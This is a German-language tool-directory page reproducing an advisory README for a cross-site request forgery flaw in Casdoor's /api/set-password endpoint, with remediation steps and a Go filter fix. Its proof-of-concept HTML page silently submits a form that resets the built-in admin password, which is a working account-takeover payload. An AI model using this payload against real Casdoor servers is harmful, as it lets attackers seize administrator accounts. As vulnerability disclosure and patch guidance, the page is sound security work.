Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
csrf_casdoor | Kitploit
Tools/GitHubGitHub/vanlam2001/csrf_casdoor
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsAuthentifizierung
GitHubvanlam2001/csrf_casdoor

csrf_casdoor

Repository anzeigen
vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Casdoor – Cross-Site Request Forgery (CSRF)

Zusammenfassung

  • Schwachstelle: CSRF in /api/set-password, das Passwortänderungen ohne Zustimmung ermöglicht.
  • Betroffene Versionen: Alle Versionen der Software sind betroffen. Derzeit ist keine gepatchte Version verfügbar.
  • CVE: CVE-2023-34927 (die neueste ist noch nicht zugewiesen).
  • Exploit-Autor: Van Lam Nguyen.
  • Getestet auf: Windows

Auswirkungen

  • Wenn ein Opfer bei Casdoor angemeldet ist, kann ein site-übergreifendes POST das Passwort des Opfers ändern (z. B. built-in/admin), was zur Übernahme des Kontos führt.

Angriffsvoraussetzungen

  • Das Opfer ist authentifiziert und besitzt ein gültiges casdoor_session_id-Cookie.
  • Das Opfer besucht eine bösartige Seite, die automatisch ein POST an /api/set-password absendet.

Proof of Concept

root@kitploit:~
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

Grundursache

  • Zustandsändernde Endpunkte unter /api/* akzeptieren cookie-authentifizierte Anfragen, ohne Same-Origin-Prüfungen (Origin/Referer) oder CSRF-Tokens durchzusetzen.

Überblick über die Behebung

  • Fügen Sie einen serverseitigen CSRF-Filter hinzu, um site-übergreifende, cookie-basierte POST/PUT/DELETE/PATCH-Anfragen unter /api/* zu verweigern.
  • Erlauben Sie Anfragen mit expliziter Nicht-Cookie-Authentifizierung (z. B. Authorization, Basic Auth, Client-Anmeldedaten oder accessToken) sowie Anfragen ohne Browser-Sitzungscookies (typische Server-zu-Server-Aufrufe).

Implementierung

  • Verwenden Sie den in csrf_filter.go implementierten routers.CSRFFilter. Dieser Filter:
    • Gibt für nicht zustandsändernde Methoden frühzeitig zurück.
    • Erlaubt Anfragen mit expliziter Nicht-Cookie-Authentifizierung.
    • Blockiert site-übergreifende Anfragen, wenn ein Sitzungscookie vorhanden ist und der Origin nicht mit dem Host übereinstimmt.

So integrieren Sie es in Casdoor

  1. Kopieren Sie csrf_filter.go in das vorhandene routers-Paket des Casdoor-Projekts. Ändern oder löschen Sie nichts in dieser Datei.
  2. Registrieren Sie den Filter früh in der HTTP-Pipeline (innerhalb von main):
    root@kitploit:~
    // Beego v1 style
    beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
    
    // If your project uses Beego v2 and imports as `web`:
    // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    

Verifizierung

  • Nach der Registrierung des Filters führen Sie den obigen PoC erneut aus, während Sie angemeldet sind. Die Anfrage sollte mit Unauthorized operation verweigert werden und der Server sollte CSRF check failed protokollieren.
  • Cross-Origin-API-Aufrufe, die Authorization-Header oder accessToken-Parameter enthalten, sollten weiterhin funktionieren.

Repository-Dateien

  • csrf_filter.go: CSRF-Filter zum Kopieren in das routers-Paket von Casdoor.
  • poc.html: Minimale Seite, die den CSRF-Angriff reproduziert.
  • README.md: Dieses Dokument, das die Schwachstelle und die Behebungsschritte beschreibt.

Referenzen

  • Casdoor: https://casdoor.org/
  • Version: https://github.com/casdoor/casdoor/releases
  • https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

Video

  • Youtube: https://youtu.be/N5VENgiObjY
Tool herunterladen